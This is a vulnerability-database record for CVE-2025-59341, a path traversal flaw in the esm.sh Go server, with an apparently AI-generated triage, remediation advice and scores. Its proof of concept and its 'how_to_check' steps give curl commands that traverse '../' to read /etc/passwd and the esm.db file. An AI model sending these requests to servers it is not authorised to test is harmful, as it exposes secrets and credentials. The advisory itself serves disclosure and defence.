{"id":"CVE-2025-59341","kind":"vulnerability","aliases":["CVE-2025-59341","GHSA-49pv-gwxp-532r"],"related":[],"title":"esm.sh has File Inclusion issue","description":"## Summary\n\nA Local File Inclusion (LFI) issue was identified in the esm.sh service URL handling. An attacker could craft a request that causes the server to read and return files from the host filesystem (or other unintended file sources).\n\n**Severity:** High — LFI can expose secrets, configuration files, credentials, or enable further compromise.\n**Impact:** reading configuration files, private keys, environment files, or other sensitive files; disclosure of secrets or credentials; information leakage that could enable further attacks.\n\nVulnerable code snippet is in this file: https://github.com/esm-dev/esm.sh/blob/c62f191d32639314ff0525d1c3c0e19ea2b16143/server/router.go#L1168\n\n---\n\n## Proof of Concept\n\n1. Using this default config file that I copy from the repo, the server is running at  `http://localhost:9999` with this command `go run server/esmd/main.go --config=config.json`\n\n\n```json\n{\n  \"port\": 9999,\n  \"npmRegistry\": \"https://registry.npmjs.org/\",\n  \"npmToken\": \"******\"\n}\n\n```\n\n2. Trigger the LFI vulnerability by sending this command below to read a local file\n\n```bash\n# read /etc/passwd\ncurl --path-as-is 'http://localhost:9999/pr/x/y@99/../../../../../../../../../../etc/passwd?raw=1&module=1'\n\n# or read the database esm.db file\ncurl --path-as-is 'http://localhost:9999/pr/x/y@99/../../../../../../../esm.db?raw=1&module=1'\n```\n\n<img width=\"3338\" height=\"1906\" alt=\"poc-image\" src=\"https://github.com/user-attachments/assets/f3721e5d-a09c-4227-960a-35279ff52811\" />\n\n\n---\n\n## Remediation\n\nSimply remove any `..` in the URL path before actually process the file. See more details in [this guide](https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html)\n\n## Credits\n\n- [Ai Ho (Jessie)](https://github.com/j3ssie)\n- [CL Yang](https://github.com/A11riseforme)","summary":"esm.sh, a Go service that serves npm packages as ES modules, does not strip '..' from request paths, so a crafted URL makes it read and return files from the host filesystem. An attacker can reach files such as /etc/passwd, configuration files, environment files or the esm.db database, which can leak secrets and credentials.","severity":"high","cvss":7.7,"epss":0.01636,"exploited":false,"exploited_at":null,"products":[{"name":"github.com/esm-dev/esm.sh","fixed":[],"affected":"<= 136","ecosystem":"go"}],"ecosystems":["go"],"tags":["cwe-23","esm.sh","go","javascript","package","self-hosted"],"not_affected_if":["default-config","managed-hosting"],"how_to_check":"- Check whether the esm.sh server binary or `go.mod` pins `github.com/esm-dev/esm.sh` at a version `<= 136`.\n- Send `curl --path-as-is 'http://<host>:<port>/pr/x/y@99/../../../../../../../../etc/passwd?raw=1&module=1'` and see whether the response contains file contents.","fix":"- Upgrade esm.sh to a version newer than `136`; the fixed version is unknown from the sources.\n- Until patched, block requests containing `..` in the URL path at a reverse proxy or move the service behind an authenticated gateway.","status":"open","published_at":"2025-09-17T18:15:53+00:00","first_seen_at":"2026-10-29T02:14:31+00:00","triaged_at":"2026-10-29T02:15:02+00:00","updated_at":"2026-10-29T02:36:48+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-10-29T02:15:02Z","model":"claude-haiku-5-5","output":{"fix":"- Upgrade esm.sh to a version newer than `136`; the fixed version is unknown from the sources.\n- Until patched, block requests containing `..` in the URL path at a reverse proxy or move the service behind an authenticated gateway.","reach":"internet","title":"esm.sh: path traversal in URL handling reads arbitrary server files","impact":"medium","summary":"esm.sh, a Go service that serves npm packages as ES modules, does not strip '..' from request paths, so a crafted URL makes it read and return files from the host filesystem. An attacker can reach files such as /etc/passwd, configuration files, environment files or the esm.db database, which can leak secrets and credentials.","category":"package","nicknames":[],"who_cares":["esm.sh","self-hosted","go","javascript"],"confidence":0.8,"needs_auth":"no","worst_case":"Attacker reads server files including secrets and configuration","analyst_note":"Find the fixed version number in GHSA-49pv-gwxp-532r or the esm.sh release notes; sources do not name it.","how_to_check":"- Check whether the esm.sh server binary or `go.mod` pins `github.com/esm-dev/esm.sh` at a version `<= 136`.\n- Send `curl --path-as-is 'http://<host>:<port>/pr/x/y@99/../../../../../../../../etc/passwd?raw=1&module=1'` and see whether the response contains file contents.","needs_analyst":true,"not_affected_if":["managed-hosting","default-config"],"who_is_affected":"Teams that run their own esm.sh server (the Go service in esm-dev/esm.sh) at version 136 or earlier are exposed, because the flaw is in the server's URL handling. Teams that only use the public hosted esm.sh CDN or install packages from npm without running esm.sh can skip it.","user_interaction":"no","needs_special_setup":"no","severity_if_unknown":"high"},"cost_usd":0.00073,"input_tokens":3957,"output_tokens":669,"severity_before":"high"},"analyst_status":null,"analyst_note":null,"search":"'-2025':7A,15A '-23':21B '-59341':8A,16A '/a11riseforme)':285C '/cheatsheets/input_validation_cheat_sheet.html)':273C '/esm-dev/esm.sh':19A '/esm-dev/esm.sh/blob/c62f191d32639314ff0525d1c3c0e19ea2b16143/server/router.go#l1168':167C '/etc/passwd':67B,221C '/j3ssie)':280C '1':171C,231C,233C,249C,251C '2':204C '49pv':11A '532r':13A '99/../../../../../../../../../../etc/passwd':229C '99/../../../../../../../esm.db':247C '9999':189C,200C '9999/pr/x/y':228C,246C 'actual':261C 'ai':275C 'attack':61B,98C,157C 'bash':219C 'caus':104C 'cheatsheetseries.owasp.org':272C 'cheatsheetseries.owasp.org/cheatsheets/input_validation_cheat_sheet.html)':271C 'cl':281C 'code':159C 'command':192C,212C 'compromis':133C 'concept':170C 'config':175C,196C 'config.json':197C 'configur':68B,127C,136C 'copi':179C 'could':99C,154C 'craft':48B,100C 'credenti':81B,129C,150C 'credit':274C 'curl':222C,240C 'cve':6A,14A 'cwe':20B 'databas':75B,237C 'default':174C 'detail':267C 'disclosur':146C 'enabl':131C,155C 'environ':70B,140C 'es':38B 'esm.db':74B,238C 'esm.sh':1A,22B,29B,93C 'expos':125C 'file':3A,55B,64B,69B,71B,85C,111C,119C,128C,137C,141C,145C,164C,176C,218C,239C,264C 'filesystem':59B,115C 'ghsa':10A 'ghsa-49pv-gwxp-532r':9A 'github.com':18A,166C,279C,284C 'github.com/a11riseforme)':283C 'github.com/esm-dev/esm.sh':17A 'github.com/esm-dev/esm.sh/blob/c62f191d32639314ff0525d1c3c0e19ea2b16143/server/router.go#l1168':165C 'github.com/j3ssie)':278C 'go':23B,31B,193C 'guid':270C 'gwxp':12A 'handl':96C 'high':122C 'ho':276C 'host':28B,58B,114C 'identifi':90C 'impact':134C 'inclus':4A,86C 'inform':151C 'issu':5A,88C 'javascript':24B 'jessi':277C 'json':198C 'key':139C 'leak':78B 'leakag':152C 'lfi':87C,123C,207C 'local':84C,217C 'localhost':188C,227C,245C 'make':50B 'modul':39B,232C,250C 'npm':35B 'npmregistri':201C 'npmtoken':203C 'packag':25B,36B 'path':45B,224C,242C,259C 'path-as-i':223C,241C 'port':199C 'privat':138C 'process':262C 'proof':168C 'raw':230C,248C 'reach':63B 'read':52B,108C,135C,215C,220C,235C 'registry.npmjs.org':202C 'remedi':252C 'remov':254C 'repo':182C 'request':44B,102C 'return':54B,110C 'run':186C,194C 'secret':79B,126C,148C 'see':265C 'self':27B 'self-host':26B 'send':210C 'sensit':144C 'serv':34B 'server':106C,184C 'server/esmd/main.go':195C 'servic':32B,94C 'sever':121C 'simpli':253C 'snippet':160C 'sourc':120C 'strip':42B 'summari':82C 'trigger':205C 'unintend':118C 'url':49B,95C,258C 'use':172C 'vulner':158C,208C 'yang':282C","nicknames":[],"mitigations":[],"who_affected":"Teams that run their own esm.sh server (the Go service in esm-dev/esm.sh) at version 136 or earlier are exposed, because the flaw is in the server's URL handling. Teams that only use the public hosted esm.sh CDN or install packages from npm without running esm.sh can skip it.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":null,"audience":null,"plain_action":null,"first_public_at":"2025-09-17T18:15:53+00:00","kev":null,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cvss_by":"security-advisories@github.com","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-49pv-gwxp-532r","url":"https://github.com/advisories/GHSA-49pv-gwxp-532r","severity":"high","published_at":"2025-09-17T18:39:20+00:00","modified_at":"2026-10-29T02:10:03+00:00","first_seen_at":"2026-10-29T02:14:31+00:00","fetched_at":"2026-10-29T02:24:44+00:00","note":null},{"source":"nvd","external_id":"CVE-2025-59341","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-59341","severity":null,"published_at":"2025-09-17T18:15:53+00:00","modified_at":"2026-06-17T09:45:56+00:00","first_seen_at":"2026-10-29T02:36:48+00:00","fetched_at":"2026-10-29T02:36:48+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}